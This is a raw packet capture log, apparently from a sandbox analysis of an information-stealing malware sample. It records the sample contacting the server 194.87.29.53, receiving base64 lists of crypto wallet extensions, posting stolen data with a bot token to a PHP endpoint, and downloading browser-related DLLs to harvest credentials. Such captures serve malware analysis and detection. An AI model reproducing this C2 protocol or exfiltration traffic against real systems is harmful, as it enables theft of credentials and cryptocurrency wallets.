fDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 27, 2024 18:29:01.525372028 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 27, 2024 18:29:01.525382996 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 27, 2024 18:29:01.525391102 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 27, 2024 18:29:01.525396109 CEST	256	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Sep 27, 2024 18:29:01.525440931 CEST	1236	IN	Data Raw: 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 Data Ascii: cGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFd
Sep 27, 2024 18:29:01.525454044 CEST	908	IN	Data Raw: 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 Data Ascii: ZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWh
Sep 27, 2024 18:29:01.527936935 CEST	467	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFIEHCFIECBGCBFHIJ Host: 194.87.29.53 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="message"fplugins------KFCFIEHCFIECBGCBFHIJ--
Sep 27, 2024 18:29:01.720340967 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 27, 2024 18:29:01.740109921 CEST	200	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGC Host: 194.87.29.53 Content-Length: 6327 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 18:29:01.740147114 CEST	6327	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 Data Ascii: ------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 27, 2024 18:29:01.950100899 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 18:29:01.952052116 CEST	91	OUT	GET /97f9710b31d15029/sqlite3.dll HTTP/1.1 Host: 194.87.29.53 Cache-Control: no-cache
Sep 27, 2024 18:29:02.156794071 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 27, 2024 18:29:02.156830072 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 27, 2024 18:29:02.156843901 CEST	128	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\
Sep 27, 2024 18:29:03.237997055 CEST	200	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGCBFHCFCFBFIEBGHJE Host: 194.87.29.53 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 18:29:03.884057999 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 18:29:03.965064049 CEST	200	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEG Host: 194.87.29.53 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 18:29:04.389799118 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 18:29:04.403291941 CEST	562	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHDBKFCAAECBFIDHJ Host: 194.87.29.53 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="file"------IJKFHDBKFCAAECBFIDHJ--
Sep 27, 2024 18:29:04.601887941 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 18:29:04.902266026 CEST	562	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHDAKFIJJKKEBGDBAAK Host: 194.87.29.53 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="file"------AEHDAKFIJJKKEBGDBAAK--
Sep 27, 2024 18:29:05.096376896 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 18:29:05.250125885 CEST	91	OUT	GET /97f9710b31d15029/freebl3.dll HTTP/1.1 Host: 194.87.29.53 Cache-Control: no-cache
Sep 27, 2024 18:29:05.509862900 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 27, 2024 18:29:05.930054903 CEST	91	OUT	GET /97f9710b31d15029/mozglue.dll HTTP/1.1 Host: 194.87.29.53 Cache-Control: no-cache
Sep 27, 2024 18:29:06.306993961 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 27, 2024 18:29:06.772727966 CEST	92	OUT	GET /97f9710b31d15029/msvcp140.dll HTTP/1.1 Host: 194.87.29.53 Cache-Control: no-cache
Sep 27, 2024 18:29:07.019614935 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 27, 2024 18:29:07.324189901 CEST	88	OUT	GET /97f9710b31d15029/nss3.dll HTTP/1.1 Host: 194.87.29.53 Cache-Control: no-cache
Sep 27, 2024 18:29:07.514359951 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 27, 2024 18:29:09.164068937 CEST	92	OUT	GET /97f9710b31d15029/softokn3.dll HTTP/1.1 Host: 194.87.29.53 Cache-Control: no-cache
Sep 27, 2024 18:29:09.370574951 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 